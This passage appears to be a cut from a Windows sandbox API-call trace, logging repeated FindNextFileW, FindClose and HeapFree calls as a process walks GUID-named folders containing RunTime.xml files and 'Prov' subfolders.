hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0197.437] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e95f21, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e95f21, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e95f21, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0197.437] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0197.437] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Prov", cAlternateFileName="")) returned 0 [0197.437] FindClose (in: hFindFile=0x4531980 | out: hFindFile=0x4531980) returned 1 [0197.437] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0197.437] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{23cb517f-5073-4e96-a202-7fe6122a2271}", cAlternateFileName="{23CB5~1")) returned 1 [0197.442] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0197.442] FindNextFileW (in: hFindFile=0x4531c00, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5408696e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5408696e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5408696e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0197.442] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0197.442] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Prov", cAlternateFileName="")) returned 0 [0197.442] FindClose (in: hFindFile=0x4531bc0 | out: hFindFile=0x4531bc0) returned 1 [0197.442] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0197.442] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", cAlternateFileName="{268C4~1")) returned 1 [0197.443] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0197.443] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53de90cb, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53de90cb, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53de90cb, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0197.443] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0197.443] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Prov", cAlternateFileName="")) returned 0 [0197.443] FindClose (in: hFindFile=0x4531980 | out: hFindFile=0x4531980) returned 1 [0197.444] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0197.444] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{33d78dbc-3db7-4398-8533-000d7c02e5d1}", cAlternateFileName="{33D78~1")) returned 1 [0197.445] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0197.445] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ed1a9f, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0197.445] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0197.445] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Prov", cAlternateFileName="")) returned 0 [0197.445] FindClose (in: hFindFile=0x4531cc0 | out: hFindFile=0x4531cc0) returned 1 [0197.445] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0197.445] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", cAlternateFileName="{3742E~1")) returned 1 [0197.446] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0197.447] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5409c262, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5409c262, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5409c262, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x257, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0197.447] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0197.447] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Prov", cAlternateFileName="")) returned 0 [0197.447] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0197.447] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0197.447] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", cAlternateFileName="{7A30A~1")) returned 1 [0197.448] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0197.448] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66853, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66853, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66853, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0197.448] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0197.448] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Prov", cAlternateFileName="")) returned 0 [0197.448] FindClose (in: hFindFile=0x4531980 | out: hFindFile=0x4531980) returned 1 [0197.448] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0197.448] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", cAlternateFileName="{8D196~1")) returned 1 [0197.449] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0197.449] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef390d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef390d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ef390d, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0197.449] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0197.449] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Prov", cAlternateFileName="")) returned 0 [0197.449] FindClose (in: hFindFile=0x4531bc0 | out: hFindFile=0x4531bc0) returned 1 [0197.449] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0197.449] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", cAlternateFileName="{8FB7D~1")) returned 1 [0197.450] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0197.450] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fc7d5e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fc7d5e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fc7d5e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0197.450] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0197.450] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Prov", cAlternateFileName="")) returned 0 [0197.450] FindClose (in: hFindFile=0x4531dc0 | out: hFindFile=0x4531dc0) returned 1 [0197.450] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0197.450] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{99b095d8-5959-4820-bea7-7448c8427b4e}", cAlternateFileName="{99B09~1")) returned 1 [0197.451] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0197.451] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e0f327, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0197.451] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0197.451] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Prov", cAlternateFileName="")) returned 0 [0197.451] FindClose (in: hFindFile=0x4531d00 | out: hFindFile=0x4531d00) returned 1 [0197.451] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0197.451] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", cAlternateFileName="{9AEC5~1")) returned 1 [0197.452] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0197.452] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54002dee, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54002dee, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54002dee, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0197.452] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0197.452] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Prov", cAlternateFileName="")) returned 0 [0197.452] FindClose (in: hFindFile=0x4531e80 | out: hFindFile=0x4531e80) returned 1 [0197.452] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0197.452] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", cAlternateFileName="{9DF6A~1")) returned 1 [0197.453] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0197.453] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f44caa, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f44caa, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f44caa, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0197.454] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0197.454] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Prov", cAlternateFileName="")) returned 0 [0197.454] FindClose (in: hFindFile=0x4531980 | out: hFindFile=0x4531980) returned 1 [0197.454] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0197.454] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", cAlternateFileName="{B0B91~1")) returned 1 [0197.454] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0197.455] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66020, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66020, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66020, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0197.455] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0197.455] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Prov", cAlternateFileName="")) returned 0 [0197.455] FindClose (in: hFindFile=0x4531bc0 | out: hFindFile=0x4531bc0) returned 1 [0197.455] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0197.455] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{c5dc3753-b6c8-4057-b396-bf13d769311c}", cAlternateFileName="{C5DC3~1")) returned 1 [0197.456] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0197.456] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fa1af1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fa1af1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fa1af1, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x222, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0197.456] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0197.456] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, 